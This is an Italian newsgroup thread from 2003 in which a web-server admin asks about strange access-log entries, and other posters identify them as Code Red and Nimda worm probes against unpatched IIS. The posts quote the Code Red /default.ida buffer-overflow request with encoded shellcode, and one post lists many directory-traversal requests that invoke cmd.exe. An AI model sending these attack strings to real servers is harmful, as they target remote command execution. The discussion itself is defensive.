Newsgroup: it.comp.reti.ip-admin
Titolo: strana riga dal log del mio http server...

Ho una linea adsl e ho montato un web server http con Sun One WebServer
(iPlanet) 6 SP5.
Nel log degli accessi però vedo continuamente questa riga:
host198-88.pool80117.interbusiness.it
 - - [16/Apr/2003:23:46:47 +0200] "GET
/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%
u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
HTTP/1.0" 404 292 "-" "-"
Cosa vuol dire? Sono per caso i normali controlli che la telecom fa sulla
mia linea? E perché cerca di avere il file default.ida? Mi devo forse
preoccupare?
Susa



IMHO molto se hai un server IIS non patchato. Da molto l'idea di un
tentativo di bufer overflow.
Ron

preoccupare?
Noto worm, ignora pure.
-- 
ciao, | Does a route flap if nobody is listening to it?
Marco | (Ri)scoprire fidonet: 
http://bbs.bofh.it/

 tentativo di bufer overflow.
non uso IIS ma iPlanet (Sun One WebServer 6 SP5)
Comunque adesso blocco l'accesso al domain 
interbusiness.it
 cosě non ho piů
problemi.
Susa


/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
<snip>
CodeRed o Nimda

 wrote in message
news:b7m01j$29a68$1...@ID-180886.news.dfncis.de...

e cosa posso fare? Non sono mica sul mio pc!
Susa

 e cosa posso fare? Non sono mica sul mio pc!
te li tieni e te ne sbatti, ridendo del fatto che qualcuno in giro per il
mondo è talmente sfigato e/o incapace da essersi beccato questo pezzo da
museo...
per quanto ti riguarda sono innocue richieste sbagliate...
-- 
Emanuele Balla  aka Skull -  Public Key #661E5CBF on 
www.keyserver.com
+----------------------------------------------------------------------+
"And 1.1.81 is officially BugFree(tm), so if you receive any bug-reports
on it, you know they are just evil lies." (By Linus Torvalds)

 
mah, a me non sembra una gran trovata...
tagli fuori praticamente tutte le aziende che utilizzano interbusiness 
per la loro connettività...
se non hai/vuoi avere contatti da buona parte delle imprese italiane 
connesse a internet, fai pure.
imho, resta comunque una soluzione perlomeno infelice.
-- 
+-------
| Paolo opg
|
| janickg ( at ) hotmail ( dot ) com
+-------

> e cosa posso fare? Non sono mica sul mio pc!
Niente, fregatene; quei vermi attaccano solo IIS
e solo se non è "patchato" a dovere; il tuo server
è immune per cui lascia stare ... l'unica cosa che
potresti fare è un whois sugli indirizzi origine per
trovare i contatti mail e poi mandare qualche
mail agli amministratori per avvertirli che quelle
macchine sono infette .. a volte funge :-)
* ObiWan
DNS "fail-safe" for Windows 2000 and 9X clients.
http://ntcanuck.com
408 XP/2000 tweaks and tips
http://ntcanuck.com/tq/Tip_Quarry.htm

 imho, resta comunque una soluzione perlomeno infelice.
è... sì... in effetti... anche se la maggior parte dei contatti vengono da
domini stranieri.
Comunque posso sempre bloccare l'ip temporaneamente con un qualsiasi
programma di firewall.
Susa

 programma di firewall.
Cattiva idea, se si tratta di una "webfarm"
lo stesso IP potrebbe appartenere a più
hosts "virtuali" che verrebberò bloccati
totalmente .. se poi alcuni di quegli host
sono mailserver ...

 sono mailserver ...
ok. allora non faccio niente.
Va bene questa sluzione?
Susa

 HTTP/1.0" 404 292 "-" "-"
Fabio

 Va bene questa sluzione?
Si, solo assicurati di leggere questi
http://www.serverwatch.com/news/article.php/1438521
http://cert.uni-stuttgart.de/archive/bugtraq/2001/05/msg00093.html
http://www.securiteam.com/windowsntfocus/5SP010U5FW.html
http://www.kb.cert.org/vuls/id/191763
http://www.safermag.com/html/safer37/alerts/44.html
http://siliconvalley.internet.com/news/article.php/1382951
Ciao :-)


Noto worm, ignora pure.
Quel che ho trovato io e' piu' bello ^_^;; worm o wannabe?
62.31.48.2 -> ***NOT_FOUND*** www/scripts/root.exe?/c+dir -> Unknown
62.31.48.2 -> ***NOT_FOUND*** www/MSADC/root.exe?/c+dir -> Unknown
62.31.48.2 -> ***NOT_FOUND*** www/c/winnt/system32/cmd.exe?/c+dir ->
Unknown
62.31.48.2 -> ***NOT_FOUND*** www/d/winnt/system32/cmd.exe?/c+dir ->
Unknown
62.31.48.2 -> ***NOT_FOUND***
www/scripts/..%255c../winnt/system32/cmd.exe?/c+dir -> Unknown
62.31.48.2 -> ***NOT_FOUND***
www/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
-> Unknown
62.31.48.2 -> ***NOT_FOUND***
www/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
-> Unknown
62.31.48.2 -> ***NOT_FOUND***
www/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
-> Unknown
62.31.48.2 -> ***NOT_FOUND***
www/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir -> Unknown
62.31.48.2 -> ***NOT_FOUND***
www/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir -> Unknown
62.31.48.2 -> ***NOT_FOUND***
www/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir -> Unknown
62.31.48.2 -> ***NOT_FOUND***
www/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir -> Unknown
62.31.48.2 -> ***NOT_FOUND***
www/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir -> Unknown
62.31.48.2 -> ***NOT_FOUND***
www/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir -> Unknown
62.31.48.2 -> ***NOT_FOUND***
 www/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir -> Unknown
62.31.48.2 -> ***NOT_FOUND*** 
-- 
Chi e' pronto a dar via le proprie liberta' fondamentali per comprarsi 
briciole di temporanea sicurezza non merita ne la liberta' ne la sicurezza 
(Benjamin Franklin)